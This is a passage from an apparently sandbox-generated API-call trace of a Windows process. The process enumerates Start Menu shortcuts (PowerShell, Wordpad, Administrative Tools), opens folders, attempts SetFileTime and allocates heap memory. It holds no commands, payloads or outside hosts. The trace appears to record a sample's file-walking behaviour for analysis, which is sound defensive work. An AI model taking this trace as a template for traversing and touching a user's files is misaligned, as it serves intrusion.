nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell ISE (x86).lnk", cAlternateFileName="")) returned 1 [0092.079] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.080] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.080] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8498 [0092.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136b5f8 [0092.081] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.081] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d750717, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d750717, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d750717, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell ISE.lnk", cAlternateFileName="")) returned 1 [0092.081] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.082] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.082] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f84b8 [0092.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136b700 [0092.083] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9d00) returned 0x1386570 [0092.084] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.lnk", cAlternateFileName="")) returned 1 [0092.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.084] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.084] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f84d8 [0092.085] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136b808 [0092.085] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.085] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.lnk", cAlternateFileName="")) returned 0 [0092.086] GetLastError () returned 0x12 [0092.086] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e9100 [0092.086] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.086] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.086] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d776877, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d776877, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.086] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x7c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell (x86).lnk", cAlternateFileName="")) returned 1 [0092.086] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d79c9d7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell ISE (x86).lnk", cAlternateFileName="")) returned 1 [0092.086] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d750717, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d750717, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d750717, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell ISE.lnk", cAlternateFileName="")) returned 1 [0092.086] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.lnk", cAlternateFileName="")) returned 1 [0092.086] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.lnk", cAlternateFileName="")) returned 0 [0092.086] GetLastError () returned 0x12 [0092.086] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a260) returned 1 [0092.086] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a158) returned 1 [0092.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136a050) returned 1 [0092.087] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 1 [0092.087] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 0 [0092.087] GetLastError () returned 0x12 [0092.087] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368fd0) returned 1 [0092.087] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13690d8) returned 1 [0092.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.088] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="")) returned 1 [0092.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.088] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0092.088] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.089] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.089] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.089] NtClose (Handle=0x178) returned 0x0 [0092.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbfc0 [0092.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13690d8 [0092.091] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0092.091] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.091] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d4524, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x898d4524, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d692035, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Component Services.lnk", cAlternateFileName="")) returned 1 [0092.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368fd0 [0092.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbfc0) returned 1 [0092.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f84f8 [0092.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a050 [0092.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.094] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ea3fc9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x26ea3fc9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x26f163ea, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computer Management.lnk", cAlternateFileName="")) returned 1 [0092.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8518 [0092.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a158 [0092.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.096] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15444c01, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x15444c01, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x154b7022, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources (ODBC).lnk", cAlternateFileName="")) returned 1 [0092.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8538 [0092.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136a260 [0092.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.098] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa3aca9c, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa3aca9c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8558 [0092.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136b910 [0092.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.100] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b8e0e72, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b8e0e72, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b8e0e72, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer.lnk", cAlternateFileName="")) returned 1 [0092.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8578 [0092.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136ba18 [0092.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.102] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2725c230, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2725c230, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x272a84f0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="iSCSI Initiator.lnk", cAlternateFileName="")) returned 1 [0092.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f8598 [0092.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136bb20 [0092.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.104] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38693b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa38693b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa3aca9c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memory Diagnostics Tool.lnk", cAlternateFileName="")) returned 1 [0092.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.105] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14139bde, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x14139bde, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14328dc1, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance Monitor.lnk", cAlternateFileName="")) returned 1 [0092.105] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x806d09e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x806d09e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8071cca0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print Management.lnk", cAlternateFileName="")) returned 1 [0092.105] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c3cfe0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security Configuration Management.lnk", cAlternateFileName="")) returned 1 [0092.105] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7306f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x1d7306f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1d77c9b3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0x0, cFileName="services.lnk", cAlternateFileName="")) returned 1 [0092.105] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa575b1f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa575b1f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa575b1f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Configuration.lnk", cAlternateFileName="")) returned 1 [0092.105] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b99f553, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b99f553, ftLastAccessTime.dwHighDateTime=0x1ca043f, 